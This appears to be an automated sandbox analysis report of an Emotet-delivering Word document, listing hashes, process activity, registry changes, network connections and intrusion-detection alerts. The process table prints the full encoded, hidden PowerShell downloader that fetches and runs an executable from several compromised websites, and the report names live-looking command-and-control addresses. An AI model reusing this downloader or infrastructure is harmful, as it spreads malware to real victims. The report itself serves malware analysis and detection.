| File name: | 413161_Z_441675.doc1___VBATrojanDownloader.Agent.QSO___HEURTrojan.MSOffice.SAgent.gen |
| Full analysis: | https://app.any.run/tasks/bc5ec142-d2dd-4215-9b69-791201e6fd38 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 06, 2019, 20:57:09 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Tempora repellat quas., Author: Monique Roth, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 6 12:32:00 2019, Last Saved Time/Date: Fri Dec 6 12:32:00 2019, Number of Pages: 1, Number of Words: 58, Number of Characters: 335, Security: 0 |
| MD5: | FBF78488CD1845E0114E5B24621DF93B |
| SHA1: | BC5EE84B59D65E6E0799A4FD544A84F58098CFEA |
| SHA256: | B007670D099FAB708CC03CA89050CB6157E03EF0C5958456B52041AC5778C571 |
| SSDEEP: | 1536:I5hZ/tR6m6GgYIMF1DMeOY5C6OJsdBpZWFaES12JbxrtC:Ix/tR6m6GgYIMF14eOY5CTsdAFaES18G |
MALICIOUS
Emotet process was detected
- 543.exe (PID: 2684)
Downloads executable files from the Internet
- powershell.exe (PID: 3652)
Application was dropped or rewritten from another process
- 543.exe (PID: 2684)
- serialfunc.exe (PID: 2144)
- 543.exe (PID: 3988)
- serialfunc.exe (PID: 2116)
Connects to CnC server
- serialfunc.exe (PID: 2144)
Changes the autorun value in the registry
- serialfunc.exe (PID: 2144)
EMOTET was detected
- serialfunc.exe (PID: 2144)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 3652)
Executable content was dropped or overwritten
- powershell.exe (PID: 3652)
- 543.exe (PID: 2684)
PowerShell script executed
- powershell.exe (PID: 3652)
Application launched itself
- 543.exe (PID: 3988)
Connects to server without host name
- serialfunc.exe (PID: 2144)
Starts itself from another location
- 543.exe (PID: 2684)
Creates files in the user directory
- powershell.exe (PID: 3652)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 944)
Creates files in the user directory
- WINWORD.EXE (PID: 944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Tempora repellat quas. |
|---|---|
| Subject: | - |
| Author: | Monique Roth |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:12:06 12:32:00 |
| ModifyDate: | 2019:12:06 12:32:00 |
| Pages: | 1 |
| Words: | 58 |
| Characters: | 335 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 2 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 392 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
43
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 944 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\413161_Z_441675.doc1___VBATrojanDownloader.Agent.QSO___HEURTrojan.MSOffice.SAgent.gen.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2116 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 543.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2144 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2684 | --fcb73a32 | C:\Users\admin\543.exe | 543.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3652 | powershell -w hidden -en JABFAHcAbABxAHcAeAB0AHcAdwA9ACcAUwBxAGgAaABqAGEAbABwAG0AbwBvACcAOwAkAEQAbwB4AGsAZQBsAGcAbwBkACAAPQAgACcANQA0ADMAJwA7ACQATQBsAHcAZQBjAHIAdwB5AGgAZAB3AHEAPQAnAEcAZgB2AHIAZABxAHYAaABjAHgAYwAnADsAJABQAGgAdABjAGEAbgBkAHoAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABvAHgAawBlAGwAZwBvAGQAKwAnAC4AZQB4AGUAJwA7ACQATgB1AHUAcABpAGQAdgBrAD0AJwBSAHQAagBxAHQAaQBlAGsAcwByAHUAagBnACcAOwAkAEYAeABpAG8AdwByAG8AZwA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAEUAYgBDAGwAaQBlAE4AVAA7ACQAQQBmAHQAdgBuAGYAaQBuAHgAZgBwAGEAbAA9ACcAaAB0AHQAcABzADoALwAvAG4AYQBnAGUAbAAuAHAAaQBuAHQAbwBnAG8AbwBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBuAGcAZQA5ADYAOAA4AC8AKgBoAHQAdABwADoALwAvAHIAZQBjAHIAZQBhAHQAZQAuAGIAaQBnAGYAaQBsAG0AcAByAG8AZAB1AGMAdABpAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AMgB4ADgAdgBmADkAagAxADUAMAA3AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBuAGkAbgBlAHQAaQA5AC4AYwBvAG0ALwA2AHUAaQA3AG0ALwB4AGwAcwB3AGQAagA2AC8AKgBoAHQAdABwADoALwAvAGkAbgB2AGkAcwBpAG8AbgAtAG0AZQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOQB6ADMANwA1ADAAMQAvACoAaAB0AHQAcAA6AC8ALwBoAGEAbgBhAGkAbQBjAGgAdQByAGMAaAAuAG4AZQB0AC8AagA2AGQANgA0ADUAYgAvADAANQA5AGQAZwByAHoANwAvACcALgAiAHMAUABgAEwASQBUACIAKAAnACoAJwApADsAJABLAHIAegBmAGkAegBjAHcAbwBqAGUAbQBuAD0AJwBOAGcAdgBpAGQAeAB0AHoAYgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABUAGwAZgBjAHMAbABqAGoAdwBiAHEAagBnACAAaQBuACAAJABBAGYAdAB2AG4AZgBpAG4AeABmAHAAYQBsACkAewB0AHIAeQB7ACQARgB4AGkAbwB3AHIAbwBnAC4AIgBkAG8AdwBOAGwATwBhAGAAZABmAGAAaQBgAGwARQAiACgAJABUAGwAZgBjAHMAbABqAGoAdwBiAHEAagBnACwAIAAkAFAAaAB0AGMAYQBuAGQAegByACkAOwAkAEoAbwBpAGUAbgBiAHMAeABtAHcAPQAnAFgAbwB4AHYAZwBwAHYAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFAAaAB0AGMAYQBuAGQAegByACkALgAiAGwAZQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA3ADUAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAdABhAGAAUgBUACIAKAAkAFAAaAB0AGMAYQBuAGQAegByACkAOwAkAE8AbgB4AHAAegByAHIAeAA9ACcATgB0AGgAZwBmAHEAbAB1AHEAYQAnADsAYgByAGUAYQBrADsAJABUAGwAbwBhAHgAcwBtAGMAPQAnAEMAbAB0AHEAcABtAHQAZgB1AHkAeQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABVAHAAbwBiAHkAawB3AGcAZgBsAD0AJwBNAGEAegB1AHoAbABkAGUAeAByAHYAbQAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3988 | "C:\Users\admin\543.exe" | C:\Users\admin\543.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: OPENGL MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
Total events
2 886
Read events
2 039
Write events
707
Delete events
140
Modification events
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 47> |
Value: 34373E00B0030000010000000000000000000000 | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (944) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1334181950 | |||
Executable files
2
Suspicious files
2
Text files
2
Unknown types
9
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA7B4.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FBB38984.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BECC93B5.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9FEA9E32.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CD3F48B.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FBC5CD10.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9F4FC9D1.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\96DF859E.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C504BD07.wmf | — | |
MD5:— | SHA256:— | |||
| 944 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5A3D635C.wmf | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
2
Threats
11
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2144 | serialfunc.exe | POST | 200 | 47.146.42.234:80 | http://47.146.42.234/6A4sriYmZ | US | flc | 132 b | malicious |
3652 | powershell.exe | GET | 200 | 206.221.182.74:80 | http://recreate.bigfilmproduction.com/wp-includes/2x8vf9j1507/ | US | executable | 492 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3652 | powershell.exe | 185.126.218.176:443 | nagel.pintogood.com | Netinternet Bilisim Teknolojileri AS | TR | suspicious |
3652 | powershell.exe | 206.221.182.74:80 | recreate.bigfilmproduction.com | Choopa, LLC | US | malicious |
2144 | serialfunc.exe | 47.146.42.234:80 | — | Frontier Communications of America, Inc. | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
nagel.pintogood.com |
| suspicious |
recreate.bigfilmproduction.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3652 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
3652 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
3652 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
3652 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
3652 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3652 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3652 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2144 | serialfunc.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 20 |
2144 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2144 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |